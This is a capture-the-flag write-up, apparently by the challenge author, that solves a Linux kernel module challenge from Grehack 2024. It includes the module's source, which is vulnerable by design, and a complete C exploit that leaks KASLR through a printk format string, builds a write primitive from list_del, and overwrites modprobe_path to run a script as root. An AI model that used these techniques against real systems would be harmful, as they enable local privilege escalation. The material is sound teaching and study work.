Julian Francisco 8 min

Here is a writeup of a challenge I have written for Grehack 2024.

Challenge task

Yet another baby challenge…

Provided files

babycaller.tar.gz:

  • bzImage : Kernel image
  • run.sh : Bash script to run the VM
  • entrypoint.sh : Bash script run in the docker to give an instance to a VM
  • config : Kernel config
  • babycaller.c : Kernel module source code
  • initramfs.cpio.gz : Initramfs

TL ; DR

  • Leak KASLR using a format string
  • Find a wrapper to list_del function
  • Overwrite modprobe_path using list_del
  • Get our flag :)

📖 Overview

♻️ Source code analysis

The source code is short and straightforward:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/kprobes.h>
#include <linux/string.h>

#define USER_DATA_LEN 0x20
#define SYSCALL_NB 0x15e

static int handle_babycaller(struct pt_regs *syscall_regs)
{
    // Get parameter
    char data[USER_DATA_LEN];
    memset(data, 0, USER_DATA_LEN);

    if (copy_from_user(data, (char *)syscall_regs->si, USER_DATA_LEN))
        return -EINVAL;

    // Finally call
    if (syscall_regs->di)
    {
        unsigned long addr = syscall_regs->di; 
        ((void (*)(void *))addr)(data);
    }
    else
        _printk(data);

    return 0;
}

static int handler_pre(struct kprobe *p, struct pt_regs *regs)
{
    struct pt_regs *syscall_regs = (struct pt_regs *)regs->di;
    if (syscall_regs->orig_ax == SYSCALL_NB)
        return handle_babycaller(syscall_regs);

    return 0;
}

struct kprobe kp = {
    .symbol_name = "x64_sys_call",
    .pre_handler = handler_pre
};

static int __init babycaller_init(void)
{
    int ret = register_kprobe(&kp);
    if (ret < 0)
    {
        _printk(KERN_ERR "Failed to register kprobe: %d\n", ret);
        return ret;
    }
    _printk(KERN_INFO "kprobe registered\n");
    return 0;
}

static void __exit babycaller_exit(void)
{
    unregister_kprobe(&kp);
    _printk(KERN_INFO "kprobe unregistered\n");
}

module_init(babycaller_init);
module_exit(babycaller_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ruulian");
MODULE_DESCRIPTION("XXX");
MODULE_VERSION("1.0");

It registers a kprobe in order to hook every syscall. If the syscall number is equal to SYSCALL_NB it calls the custom handler handle_babycaller. It is a way to add a new syscall to the system using a kernel module.

This handler allows us to provide a function pointer in rdi and a pointer to user data in rsi. Then, the function copy_from_user copies 0x20 bytes into data buffer and returns on error.

Finally, if rdi is not null, the function stored in it is called with data buffer as parameter, otherwise printk is called with data.

🙊 Talking to the module

We can use the syscall in order to display “Hello World” and check that everything works properly:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

#define USER_DATA_LEN 0x20
#define SYSCALL_NB 0x15e

int main(void)
{
    char data[USER_DATA_LEN];
    strcpy(data, "Hello World!\n"); // Add the \n because dmesg is line buffered
    syscall(SYSCALL_NB, NULL, data);
    return 0;
}

Which gives us the expected output:

hello_world.png

💣 Exploit

🎲 Leak KASLR

First things first, we need a leak in order to call an arbitrary function, good news, we have printk. Indeed, with a controlled parameter, we can use a format string to leak kernel registers and also the beginning of the kernel stack.

To do so, we can disable KASLR, use gdb to add a breakpoint on printk call and check its parameter:

printk_call.png

In the registers, there is no kernel text pointer, but if we look on the stack, there is a kernel text address that we can leak.

Unfortunately, printk doesn’t support %<offset>$<specifier> syntax. Thus, we have to move until the parameter we need using %c (or another valid specifier with one character to stay in the USER_DATA_LEN bounds).

Here is the exploit to get our leak:

#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdint.h>

#define USER_DATA_LEN 0x20
#define SYSCALL_NB 0x15e

static void get_leak(void)
{
    char data[USER_DATA_LEN];
    strcpy(data, "%c%c%c%c%c%c%c%c%c%c%c%c|0x%lx\n");

    syscall(SYSCALL_NB, 0, data);
}

int main(void)
{
    get_leak();
    return 0;
}

We thus have our leak:

leak.png

We can improve our get_leak function to automatically parse our leak:

#include <string.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdint.h>

#define USER_DATA_LEN 0x20
#define SYSCALL_NB 0x15e
#define BUFFSIZE 0x1000

static uint64_t u64(char *__str)
{
    uint64_t res = 0;
    sscanf(__str, "%lx", &res);
    return res;
}

static uint64_t get_leak(void)
{
    char data[USER_DATA_LEN];
    strcpy(data, "%x%x%x%x%x%x%x%x%x%x%x%x|%lx\n");

    syscall(SYSCALL_NB, 0, data);

    FILE *fp = popen("dmesg | tail -1", "r");
    if (!fp)
    {
        perror("popen");
        return 1;
    }

    char buffer[BUFFSIZE];
    memset(buffer, 0, BUFFSIZE);

    fgets(buffer, BUFFSIZE, fp);

    // Parse last 16 characters
    size_t len = strlen(buffer);
    buffer[len--] = '\0';
    return u64((char *)buffer + len - 0x10);
}

🧠 Brainstorming

The first idea could be using the format string to overwrite some addresses like in user land exploit; however, the %n is not implemented in printk.

Moreover, we could escalate our privileges using commit_creds with a crafted cred struct, however, the allowed size is not sufficient to craft the structure.

Thus, we can use a technique to transform a call to an arbitrary write: list_del.

✏️ Get arbitrary write

list_del is defined in list.h:

struct list_head {
	struct list_head *next, *prev;
};

static inline void __list_del(struct list_head * prev, struct list_head * next)
{
	next->prev = prev; // Write primitive
	WRITE_ONCE(prev->next, next);
}

static inline void __list_del_entry(struct list_head *entry)
{
	if (!__list_del_entry_valid(entry))
		return;

	__list_del(entry->prev, entry->next);
}

static inline void list_del(struct list_head *entry)
{
	__list_del_entry(entry);
	entry->next = LIST_POISON1;
	entry->prev = LIST_POISON2;
}

This function is basically used to remove an element from a linked list, it links the prev element to the next element.

We can thus craft a fake list_head with our target address as next and what we want to write in prev. However, we have 2 issues with this primitive:

  • The function is written as inline and static, therefore, we can’t directly call it.
  • The data we write in should be a valid address because of the WRITE_ONCE(prev->next, next);.

🏹 Find a wrapper to list_del

In order to call list_del, we need to find a wrapper to this function, therefore, we can use elixir.bootlin.com, check for all references to list_del and find an exported function which wraps (or almost) the function.

A good candidate can be unregister_asymmetric_key_parser:

struct asymmetric_key_parser {
	struct list_head	link;
	struct module		*owner;
	const char		*name;
	int (*parse)(struct key_preparsed_payload *prep);
};

void unregister_asymmetric_key_parser(struct asymmetric_key_parser *parser)
{
	down_write(&asymmetric_key_parsers_sem);
	list_del(&parser->link);
	up_write(&asymmetric_key_parsers_sem);

	pr_notice("Asymmetric key parser '%s' unregistered\n", parser->name);
}

down_write and up_write shouldn’t cause any issue.

✅ Get full write with valid address

To get a full write knowing the constraint of passing a valid address as prev, we can write our data byte per byte using the last byte of a valid address.

We can take an address from kernel data where we can write without crashing the kernel. Hopefully, we have a variable init_thread_union which is very big and full of null bytes, it may be a good candidate if we take init_thread_union+0x100 (the first bytes are not 0 so we can take an offset to be sure).

⬆️ Privilege escalation

Now that we have everything in mind, we can overwrite modprobe_path in order to execute a file as root.

#include <string.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdint.h>

#define USER_DATA_LEN 0x20
#define SYSCALL_NB 0x15e
#define BUFFSIZE 0x1000

static uint64_t u64(char *__str)
{
    uint64_t res = 0;
    sscanf(__str, "%lx", &res);
    return res;
}

static uint64_t get_leak(void)
{
    char data[USER_DATA_LEN];
    strcpy(data, "%x%x%x%x%x%x%x%x%x%x%x%x|%lx\n");

    syscall(SYSCALL_NB, 0, data);

    FILE *fp = popen("dmesg | tail -1", "r");
    if (!fp)
    {
        perror("popen");
        return 1;
    }

    char buffer[BUFFSIZE];
    memset(buffer, 0, BUFFSIZE);

    fgets(buffer, BUFFSIZE, fp);

    // Parse last 16 characters
    size_t len = strlen(buffer);
    buffer[len--] = '\0';
    return u64((char *)buffer + len - 0x10);
}

static void modprobe_path_overwrite(uint64_t kbase)
{
    // Prepare target
    uint64_t modprobe_path_offset = 0x1b3f100;
    uint64_t target = kbase + modprobe_path_offset;
    
    // Prepare available address to use list_del
    uint64_t data = kbase + 0x1a00200;
    uint64_t available_addr = (data + 0x1000) & ~0xff;

    uint64_t unregister_asymmetric_key_parser = kbase + 0x4c4d10;

    char *new_content = "/tmp/a";
    
    // Writing byte per byte
    for (size_t i = 0; i < strlen(new_content) + 1; i++)
    {
        uint64_t data[4];

        data[0] = (target + i) - 8; // *next
        data[1] = available_addr + new_content[i]; // *prev
        data[2] = 0x0;
        data[3] = 0x0;

        syscall(SYSCALL_NB, unregister_asymmetric_key_parser, data);
    }
}

int main(void)
{
    puts("[*] Start leaking kaslr");
    uint64_t leak = get_leak();
    printf("[+] kaslr leak = 0x%lx\n", leak);

    uint64_t kbase = leak - 0x18ca4f;
    printf("[+] kbase = 0x%lx\n", kbase);

    puts("[*] Starting modprobe_path overwrite");

    modprobe_path_overwrite(kbase);

    puts("[+] Successfully overwrote modprobe_path");

    return 0;
}

modprobe_path.png

Now, if we try to execute a file that has invalid magic bytes, it will call /tmp/a file. We can therefore create those files and do whatever we want :)

To do so, we can add a small function that sets the flag as readable for everyone and reads it:

void privesc(void)
{
    system("echo '#!/bin/sh' > /tmp/a");
    system("echo 'chmod 444 /flag.txt' >> /tmp/a");
    system("chmod +x /tmp/a");

    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    
    system("/tmp/dummy 2> /dev/null");
    system("cat /flag.txt");
}

We get our final exploit:

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdint.h>

#define USER_DATA_LEN 0x20
#define SYSCALL_NB 0x15e
#define BUFFSIZE 0x1000

static uint64_t u64(char *__str)
{
    uint64_t res = 0;
    sscanf(__str, "%lx", &res);
    return res;
}

static uint64_t get_leak(void)
{
    char data[USER_DATA_LEN];
    strcpy(data, "%x%x%x%x%x%x%x%x%x%x%x%x|%lx\n");

    syscall(SYSCALL_NB, 0, data);

    FILE *fp = popen("dmesg | tail -1", "r");
    if (!fp)
    {
        perror("popen");
        return 1;
    }

    char buffer[BUFFSIZE];
    memset(buffer, 0, BUFFSIZE);

    fgets(buffer, BUFFSIZE, fp);

    // Parse last 16 characters
    size_t len = strlen(buffer);
    buffer[len--] = '\0';
    return u64((char *)buffer + len - 0x10);
}

static void modprobe_path_overwrite(uint64_t kbase)
{
    // Prepare target
    uint64_t modprobe_path_offset = 0x1b3f100;
    uint64_t target = kbase + modprobe_path_offset;
    
    // Prepare available address to use list_del
    uint64_t data = kbase + 0x1a00200;
    uint64_t available_addr = (data + 0x1000) & ~0xff;

    uint64_t write_prim = kbase + 0x4c4d10;

    char *new_content = "/tmp/a";
    
    for (size_t i = 0; i < strlen(new_content) + 1; i++)
    {
        uint64_t data[4];

        data[0] = (target + i) - 8; // *next
        data[1] = available_addr + new_content[i]; // *prev
        data[2] = 0x0;
        data[3] = 0x0;

        syscall(SYSCALL_NB, write_prim, data);
    }
}

void privesc(void)
{
    system("echo '#!/bin/sh' > /tmp/a");
    system("echo 'chmod 444 /flag.txt' >> /tmp/a");
    system("chmod +x /tmp/a");

    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    
    system("/tmp/dummy 2> /dev/null");
    system("cat /flag.txt");
}

int main(void)
{
    puts("[*] Start leaking kaslr");
    uint64_t leak = get_leak();
    printf("[+] kaslr leak = 0x%lx\n", leak);

    uint64_t kbase = leak - 0x18ca4f;
    printf("[+] kbase = 0x%lx\n", kbase);

    puts("[*] Starting modprobe_path overwrite");

    modprobe_path_overwrite(kbase);

    puts("[+] Successfully overwrote modprobe_path");

    puts("[+] Enjoy your flag :)");

    privesc();

    return 0;
}

Which gives us a beautiful flag:

flag.png

🫂 Bonus

The challenge had only one solve, by @voydstack, using an unintended way. Since the flag is loaded in the initramfs, it is loaded in RAM; thus, he reads the flag in the RAM using the format string.